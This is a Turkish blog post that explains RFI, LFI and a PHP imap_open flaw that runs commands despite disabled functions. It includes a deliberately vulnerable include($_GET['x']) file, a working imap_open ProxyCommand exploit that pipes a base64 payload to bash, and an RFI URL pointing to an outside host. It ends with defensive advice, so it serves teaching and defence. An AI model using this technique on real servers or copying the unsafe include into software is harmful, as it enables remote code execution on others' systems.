Güvenli yazılım geliştirme tavsiyeleri RFI,LFI ve IMAP_OPEN zafiyeti.

Sezer
Kodcular
Published in
2 min readJan 14, 2019

Selamlar,

Başlıkta bulunan konuları bir hikaye tarzında anlatmak istiyorum böylelikle daha yararlı ve neden bunlara,bu kadar çok önem vermemiz gerekiyor görelim.

konular 3 bölümden oluşacak.

RFI(remote file inclusion)
LFI(local file inclusion)
imap_open

RFI ve LFI zafiyetlerine detaylı bir şekilde değinmek istemiyorum dışarda bunla ilgili çok yazı var. bu kısımdan sonrasını okumadan önce lütfen RFI ve LFI zayifetlerine bakın.

Bir web sitesi tasarladınız her şey yolunda ve aklınıza gelen tüm güvenlik önlemlerini aldınız Daha da ileri giderek php üzerinde sistem komutlarını çalıştırmaya yarayan tüm fonksiyonları kapattınız neydi bu fonksiyonlar hatırlayalım.

  • escapeshellarg
  • escapeshellcmd
  • exec
  • passthru

Eğer bu fonksiyonlar kapatılırsa RFI ve LFI saldırılarında çok kullanılan sistem fonksiyonlarını artık kullanamayacağız.

Peki gerçekten böyle mi?

Hayır. eğer php’nin imap_open kütüphanesini kullanıyorsanız bu fonksiyonları kapatmanız bir anlam ifade etmeyecek peki nasıl oluyor görelim.

Test için LFI açığına ihtiyacım var. adına lfi.php diyorum.

<?php

include($_GET[‘x’]);

?>

bir de index.php sayfasına ihtiyacım var örnek olarak hedef sistemde imap_open kütüphanesi kullanılıyor olsun bu arada imap_open kütüphanesinde yeni bir zafiyet var ben burada imap_open zafiyetini kullanarak hedef sistem üzerinde komut çalıştırıyorum(can alıcı noktamız burada).

<?php

ini_set(‘error_reporting’,E_ALL);

$payload = “mkdir /tmp/hackedfile”;

$encoded_payload = base64_encode($payload);$server = “any -o ProxyCommand=echo\t”.$encoded_payload.”|base64\t-d|bash”;@imap_open(‘{‘.$server.’}:143/imap}INBOX’, ‘’, ‘’);

?>

Saldırgan size index.php sayfasını yüklediğinde index.php sayfasını lfi.php sayfasına dahil edecek zaten LFI de tam anlamıyla bunu sağlıyor. (gözat butonlarında çok yapılır bu siz image beklerken sizin hostunuzda php dosyaları atılabiliyor.)

sizde LFI açığı bıraktıysanız fena olmuyor :) neyse herşey yolunda gitti diyelim biz saldırgan olarak index.php sayfasını sizin hostunuza yükleyebildik. daha sonra saldırgan aşağıdaki url kullanacak.

http://127.0.0.1/lfi.php?x=index.php

saldırgan bu komutu çalıştırdığında /tmp/ altında söyle bir dizin yer alıyor.

aynı şekilde bir dosya yada sistem dosyaları gibi kritik dosyalar oluşturulabilir yada çalıştırılabilir.

RFI ise bunun tam tersi olarak. dışarıdan gelen bir sayfanın sizin bilgisayarınıza yorumlanmasını sağlıyor örneğin..

http://127.0.0.1/lfi.php?x=http://website.com/test.php

yanılmıyorsam bu RFI code igniter bir sürümünde vardı..

Çözüm
imap_open kütüphanesi şimdilik kullanmayın. en azından bir güncelleme gelene kadar bekleyin eğer geldiyse ve kullanıyorsanız lütfen güncelleyin.

Dışarıdan alınan paremetreleri kontrol edin. eğer bir freamwork kullanıyorsanız mutkala netsparker,openwas gibi web tarayıcılarını kullarak test edin.

Bu saldırı türleri kritik öneme sahip,saldırgan var olan sisteme expoloit yükleyebilir makine üzerindeki tüm bilgileri(dosyaları) okuyabilir duruma gelir hatta network üzerinden başka makineleri tarıyabilir kapsam çok geniş.

Detaylı Kaynaklar için aşağıdaki adresler yararlı olabilir.

https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion
https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion
https://www.netsparker.com/blog/web-security/bypass-disabled-system-functions/

Konuyla ilgili merak edilenleri havada kalan konuları lütfen bildirin. faydalı olması dileğiyle..

--

--

Sezer
Kodcular

Cyber Security & Network Specialist | Expert in Software Development, Linux & FreeBSD https://www.linkedin.com/in/sezerhuseyin/ | https://github.com/szrce